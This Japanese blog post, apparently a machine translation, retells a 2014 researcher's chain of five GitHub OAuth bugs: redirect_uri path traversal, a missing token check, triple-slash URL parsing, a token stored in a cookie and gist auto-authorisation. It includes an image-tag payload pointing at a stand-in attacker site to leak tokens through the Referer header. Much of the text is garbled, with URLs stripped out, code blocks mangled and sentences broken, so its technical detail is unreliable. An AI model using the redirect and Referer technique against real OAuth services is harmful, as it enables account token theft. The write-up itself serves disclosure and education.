blog

ウェブ・セキュリティ開発を学ぶために「Githubをハッキングする

まず、この話はGithub OAuthから始まります。で、まずOAuthとは何かを知っておく必要があるのですが、いわゆるOAuthとは、サードパーティのアプリケーションが、アカウントのパスワードを知ら...

Oct 6, 2014 · 8 min. read
シェア

OAuth入門

まず、この話は始まります。、サードパーティのアプリケーションが、アカウントのパスワードを知らなくても、Webサイト上の自分のデータや機能にアクセスできるようにすることです。Google、Facebook、TwitterなどのウェブサイトがOAuthサービスを提供しています。 OAuthサービスを提供しているウェブサイトは、通常多くのオープンAPIを持っています。そのため、サードパーティアプリがこれらのことを行おうとする場合、サードパーティアプリがダイアログボックスをポップアップさせてユーザーにアカウントのパスワードを尋ねるようなことはできません。Google/Facebook/Twitterに保存され、認証トークンがサードパーティアプリケーションに返されます。以下の図は、TwitterのOAuthの認証プロセスを簡単に示したものです。

上記のフローチャートから、あなたはOAuthかどうか1.0または2.0のバージョンは、より複雑なプロトコルであることがわかりますので、OAuthの実装にサーバー側では、いくつかの簡単なものではありません、その常に多かれ少なかれいくつかの小さなエラーになります。

OAuthコールバック

また、OAuthはユーザーが認証するためにメインサイトのウェブページにジャンプする必要があり、認証が終わると元のウェブページにジャンプして戻る必要があるため、一般的にOAuthの認証ページには元のウェブページに戻るジャンプを指定するredirect_urlパラメータが付属していることに注意する必要があります。Githubで使用されるジャンプパラメータはredirect_uriパラメータです。.一般的に、redirect_uri パラメータはサーバー側で検証する必要があります。

考えてみてください、もし誰かがこのredirect_uriパラメータをコントロールできるのであれば、別のページにジャンプさせることができるのです。他のページに飛んでも問題ないと思うなら、それは間違いです。サードパーティのアプリケーションを認可するとき、サービスプロバイダは認可トークンをサードパーティのアプリケーションに返し、その認可トークンがredirect_uriパラメータに追加され、サードパーティのアプリケーションにリダイレクトされることを忘れないでください。 もしredirect_uriが悪意のある誰かによって悪意のあるURLに変更されると、トークンも別のウェブページにリダイレクトされます。認証トークンは流出します。

これらを知れば、エゴールが言った5つのバグの意味も理解できます。

*** バグ: リダイレクト URL で /... をチェックしていません。/

まず、Github OAuthこのように書かれています:

如果 CALLBACK URL是: path  
   
GOOD: path  
GOOD: path/subdir/other  
   
BAD: bar  
BAD:   
BAD: "http://.com:8080"/path  
BAD: "http://..com:8080"/path  
BAD: http://.org 

そしてGithubはredirect_uriに制限があり、https://...にしかジャンプバックできないようになっています。///つまり、ドメインは..om、ディレクトリは///ck/で、サーバー側でこの制限があるため、かなり安全に見えます。

しかしエゴールは、Githubのサーバーサイドが... /.../.../そのような状況。

このように、エゴールは以下のようなリダイレクトURLに相当するものを構築しました:

//ck/.../.../...//?=DE

ですから、上記のURLは等価です:

/?=DE

Githubのgistは、コード・スニペットを共有するためにある一方で、自分自身のものをカスタマイズするためにも使うことができます。

#p#

つ目のバグ:トークンのチェックができない

*** サーバー側がトークンが生成されたトークンのredirect_uriと全く同じかどうかをチェックしなければならない場合、サーバーがこの検証を行う限り、*** バグは全く無意味です。

これが2つ目のバグなので、****1と2つ目のバグが組み合わさると、かなり強力なセキュリティホールになります。

つまり、トークンはredirect_uriを考慮して生成され、URLがジャンプするときにredirect_uriとトークンをジャンプページに持って行き、ジャンプページのサーバー側のプログラムはredirect_uriを使用してトークンを生成し、それが入力されたトークンと同じかどうかを確認する必要があります。これはURLの署名と呼ばれ、URLが改ざんされていないことを保証します。一般的に、URLの署名と署名検証の要素には、送信元IP、サーバーのタイムスタンプ、セッション、ソルトなどがあります。

これでredirect_uriはコードを受け取り、Egorが構築したページに安全かつスムーズにジャンプします:

/?=DE

この時点で、一般的に言えば、ハッカーはこのページに以下のようなリンクを貼り、ユーザーにクリックするよう誘います:

<a href=http://..om/>プライベート写真</>

そうすれば、ページがハッカーのサイトにジャンプしたときに、あなたのページのURLがhttpヘッダーのRefereパラメーターに追加され、トークンを取得することができます。

しかし、gistにリンクを貼ると、それをクリックしなければならず、「ユーザー体験」に影響しすぎますし、gistに外部のものを埋め込むこともできます。をgithub自身のurlに埋め込むこともできるので、なかなか難しいです。

しかし、非常にトリッキーなテクニックを使うことができます:

<img src="///attackersite.com">.

これは一体何ですか?これはURLへの相対パスです。でもなんで///が3つもあるの?へえ。

プログラマーのように考える

このとき、「プログラマーのプログラミング・マインド」で考える必要があります。もしあなたがプログラマーなら、URLをチェックするプログラムをどのように書くでしょうか?きっと正規表現を使ったり、URLのパターンにマッチするプログラムを考えたりするでしょう。

  • 絶対パスの場合: //を2つマッチさせ、その後にuser@host.com、その後に:<n>ポート番号、その後に/、その後にサーバーへのパスをマッチさせ、その後に?の後にいくつかのパラメータが続きます。

  • 相対パスの場合:絶対パスほど複雑ではありません。いくつかの. と / と ?といくつかのパラメータです。

しかし、ChromeとFirefoxでは、//host.comを絶対パスとして扱います。これは、絶対パスのスキームに正しくマッチするからです:

path

<a href="///www.google.com">CoolShell Test</a> 

要するに、このChrome/Firefoxの問題は、Won't Fixというフラグが立っていて、基本的に、Perl、Python、Ruby、Node.js、PHPのURLチェック用のライブラリなど、バックエンドのプログラムでこの問題が発生する可能性があるということです。

この時点で、ハッカーEgorはユーザーのgistにアクセスすることができ、ユーザーのプライベートgistを変更したり閲覧したりすることができます。しかし、作者は満足せず、もっと多くのことを望んでいます。

第四のバグ: gist が github_token をクッキーに入れるバグ

そこでエゴールは、ユーザーのクッキーからgithub_tokenを見つけました。

しかし、このトークンはほとんど役に立ちません。なぜなら、認可のためのスコープはgistsだけだからです。しかし、このトークンはユーザー側のクッキーに入れるべきではありません。それ自体がセキュリティ事故であり、このようなものはサーバー側にのみ置くべきです。

だからエゴールは別の出口を見つけなければなりませんでした。

第5のバグ:gistの自動認証

gistはgithub独自のものなので、エゴールはgithubがもう少しシンプルにしたいのだと思いますが、ユーザーがgistにアクセスしたときに、OAuthのページをポップアップしてユーザーに認証させないようにしないと、ユーザーが非常に驚いてしまいます。だから、エゴールはgithubがgistの自動認証を行っているはずだと推測したので、エゴールは、次のURLを作成しました。

つまり、このリダイレクト-uriは、ハッカーがgistにアクセスするためのトークンを取得するのに役立っただけでなく、認証トークンの範囲をユーザーのコードベースなどの他の権限にまで拡張したのです。つまり、ユーザのプライベートコード領域にハックすることができるのです。

#p#

その他・感想

以下は、Githubにある賞金稼ぎたちのリストです() そこに上がって、彼らが見つけた問題を一つ一つ見ていくと、かなりの数のセキュリティ問題が非常に小さく、中にはあまり標準的ではないとしか言いようのないものもあり、Githubには数百ドルの懸賞金がついています。githubの懸賞金ポリシーを確認したところ、githubの懸賞金は少なくとも100ドルから5000ドルでした。

その "ボーナスゲーム "にどれだけの時間を費やし、どれだけのボーナスを得たか、自問してみてください。彼らは4時間かけて5つのバグを探し、4000ドルを稼ぎました。神様は数ドルのボーナスを引くためにあなたと私に同じ時間を与え、人はボーナスを得るために自分のスキルを使います。それが人と人との違いです。これは効率と呼ばれるもので、私の著書『』を移動してチェックすることができます。

Read next

マルチスレッドとマルチプロセッサーによるPython並行プログラミング

Pythonコーディングでよく議論されるのは、シミュレーション実行のパフォーマンスを最適化する方法です。定量的なコードを考える場合、NumPy、SciPy、pandasはすでにこの点で非常に有用ですが、イベント駆動型システムを構築する場合、これらのツールを効果的に使用することはできません。コードを高速化する他の方法はありますか?答えはイエスですが、目を離すことはできません!

Oct 5, 2014 · 9 min read